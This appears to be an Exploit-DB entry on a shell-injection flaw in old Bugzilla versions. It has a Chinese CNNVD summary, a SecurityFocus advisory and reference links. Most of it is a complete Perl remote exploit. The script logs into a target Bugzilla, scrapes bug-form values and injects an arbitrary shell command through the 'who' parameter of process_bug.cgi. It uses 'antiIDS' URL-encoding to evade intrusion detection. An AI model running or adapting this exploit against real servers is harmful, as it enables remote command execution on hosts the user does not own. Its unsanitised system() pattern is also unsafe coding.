https://www.exploit-db.com/exploits/19909
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200106-140

Bugzilla2.10版本存在漏洞。远程攻击者可以借助用户名中的shell元字符执行任意命令，这些命令由（1）post_bug.cgi中的Bugzilla_logincookie或（2）process_bug.cgi中的who参数处理。

source: http://www.securityfocus.com/bid/1199/info

Bugzilla is a web-based bug-tracking system based on Perl and MySQL. It allows people to submit bugs and catalogs them. 

Bugzilla is prone to a vulnerability which may allow remote users to execute arbitrary commands on the target webserver. 

When accepting a bug report, the script "process_bug.cgi" calls "./processmail" via a perl system() call argumented by a number of paramaters with values originating from user input via a web-form. There are no checks against these values for shell metacharacters by the script before insertion into the system() call. 

As a result, it possible for an attacker to supply maliciously crafted input to form fields, which when submitted will cause arbitrary commands to be executed on the shell of the host running vulnerable versions of Bugzilla. Commands will be executed with the privileges of the webserver process.


#!/usr/bin/perl

# Bugzilla 2.8 remote exploit
# by {} - [email protected]
# 	RooT66		- http://root66.nl.eu.org
# 	ShellOracle	- http://www.shelloracle.cjb.net
# 	b0f		- http://b0f.freebsd.lublin.pl
# 	
# This exploits uses antiIDS tricks ripped from whisker

# next 2 functinos stolen from whisker, commented by me
sub rstr { # no, this is not a cryptographically-robust number generator
        my $str,$c;
        $drift=(rand() * 10) % 10;
        for($c=0;$c<10+$drift;$c++){
        $str .= chr(((rand() * 26) % 26) + 97);} # yes, we only use a-z
        return $str;}

sub antiIDS {
	($url) = (@_);
        $url =~s/([-a-zA-Z0-9.<>\|'`])/sprintf("%%%x",ord($1))/ge;
	$url =~ s/ /+/g;
        $url =~s////.//g;
	return $url;
}
#end of stolen stuff

($complete_url, $Bugzilla_login, $Bugzilla_password, $command) = (@ARGV);         

print("Exploit for Bugzilla up to version 2.8n");
print("        by {} - [email protected]");
print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~n");
print("RooT66		- http://root66.nl.eu.orgn");
print("ShellOracle	- http://www.shelloracle.cjb.netn");
print("b0f		- http://b0f.freebsd.lublin.pln");
print("n");

if ($complete_url eq "-h" || $complete_url eq "--help") {
	print("Usage: $0 url emailaddress password commandn");
	exit;
}

# Get information of user
if (!$complete_url) {
	print("URL: ");
	$complete_url = <STDIN>; chomp($complete_url); $complete_url =~ s/http:////;
}
if (!$Bugzilla_login) {
	print("EMAIL: ");
	$Bugzilla_login = <STDIN>; chomp($Bugzilla_login);
}
if (!$Bugzilla_password) {
	print("PASSWORD: ");
	$Bugzilla_password = <STDIN>; chomp($Bugzilla_password);
}
if (!$command) {
	print("COMMAND: ");
	$command = <STDIN>; chomp($command);
}


# Set some variables
$host = $complete_url; $host =~ s//.*//;
$base_dir = $complete_url; $base_dir =~ s/^$host//; $base_dir =~ s/[a-zA-Z.]*$//;

# Make own directory
system("mkdir $$");

print("Getting information needed to submit our 'bug'n");
# Get product name
system("cd $$; lynx -source "http://$host/" . antiIDS("$base_dir/enter_bug.cgi") .  "?Bugzilla_login=" . antiIDS("$Bugzilla_login") . "&Bugzilla_password=" . antiIDS("$Bugzilla_password") . "" > enter_bug.cgi");
open(FILE, "< $$/enter_bug.cgi");
while($input = <FILE>) {
	if ($input =~ /enter_bug.cgi?product=/) {
		chomp($input);
		$product = $input;
		$product =~ s/.*product=//;
		$product =~ s/".*//;
		if ($product =~ /&component=/) {
			$component = $product;
			$product =~ s/&.*//;		# strip component
			$component =~ s/.*component=//;
			$component =~ s/".*//;
		}
	}
}
print("tProduct: $productn");
if ($component) {
	print("tComponent: $componentn");
	}
# Get more information
$page = antiIDS("$base_dir/enter_bug.cgi?") . "product=" . antiIDS("$product") . "&Bugzilla_login=" . antiIDS("$Bugzilla_login") . "&Bugzilla_password=" . antiIDS("$Bugzilla_password");
system("cd $$; lynx -dump "http://$host/$page" > enter_bug.cgi");
open(FILE, "< $$/enter_bug.cgi");
while($input = <FILE>) {
	chomp($input);
	if ($input =~ /Reporter:/) {
		$reporter = $input;
		$reporter =~ s/.*Reporter: //;
		$reporter =~ s/ .*//;
	}
	if ($input =~ /Version:/) {
		$version = $input;
		$version =~ s/.*Version: [//;
		$version =~ s/.*].*//;
	}
	if ($input =~ /Component:/) {
		$component = $input;
		$component =~ s/.*Component: [//;
		$component =~ s/.*].*//;
	}
	if ($input =~ /Platform:/) {
		$platform = $input;
		$platform =~ s/.*Platform: [//;
		$platform =~ s/.*].*//;
	}
	if ($input =~ /OS:/) {
		$os = $input;
		$os =~ s/.*OS: [//;
		$os =~ s/.*].*//;
	}
	if ($input =~ /Priority:/) {
		$priority = $input;
		$priority =~ s/.*Priority: [//;
		$priority =~ s/].*//;
	}
	if ($input =~ /Severity:/) {
		$severity = $input;
		$severity =~ s/.*Severity: [//;
		$severity =~ s/.*].*//;
	}
}
print("tReporter: $reportern");
print("tVersion: $versionn");
print("tComponent: $componentn");
print("tPlatform: $platformn");
print("tOS: $osn");
print("tPriority: $priorityn");
print("tSeverity: $severityn");
close(FILE);


#liftoff
print("Sending evil bug reportn");
$page = antiIDS("$base_dir/process_bug.cgi") .  "?bug_status=" . antiIDS("NEW") . "&reporter=" . antiIDS($reporter) . "&product=" . antiIDS("$product") . "&version=" . antiIDS("$version") . "&component=" . antiIDS("$component") . "&rep_platform=" . antiIDS("$platform") . "&op_sys=" . antiIDS($os) . "&priority=" . antiIDS($priority) . "&bug_severity=" . antiIDS($severity) . "&who=". antiIDS("[email protected];echo \<pre\>START OUTPUT COMMAND;$command;echo \<\/pre\>END OUTPUT COMMAND;") . "&knob=" . antiIDS("duplicate") . "&dup_id=" . antiIDS("202021234123412341234") . "&Bugzilla_login=" . antiIDS($Bugzilla_login) . "&Bugzilla_password=" . antiIDS($Bugzilla_password) . "&assigned_to=&cc=&bug_file_loc=&short_desc=&comment=&form_name=enter_bug";
system("cd $$; lynx -dump "$host/$page" > enter_bug.cgi");	
open(FILE, "< $$/enter_bug.cgi");
while($input = <FILE>) {
	chomp($input);
	if ($input =~ /END OUTPUT COMMAND/) {
		$startoutput = 0;
	}
	if ($startoutput) {
		print("$inputn");
	}
	if ($input =~ /START OUTPUT COMMAND/) {
	$startoutput = 1;
	}
}
close(FILE);
# Delete shit
# system("rm -rf $$");

来源:ATSTAKE
名称:A043001-1
链接:http://www.atstake.com/research/advisories/2001/a043001-1.txt
来源:BID
名称:1199
链接:http://www.securityfocus.com/bid/1199
来源:www.mozilla.org
链接:http://www.mozilla.org/projects/bugzilla/security2_12.html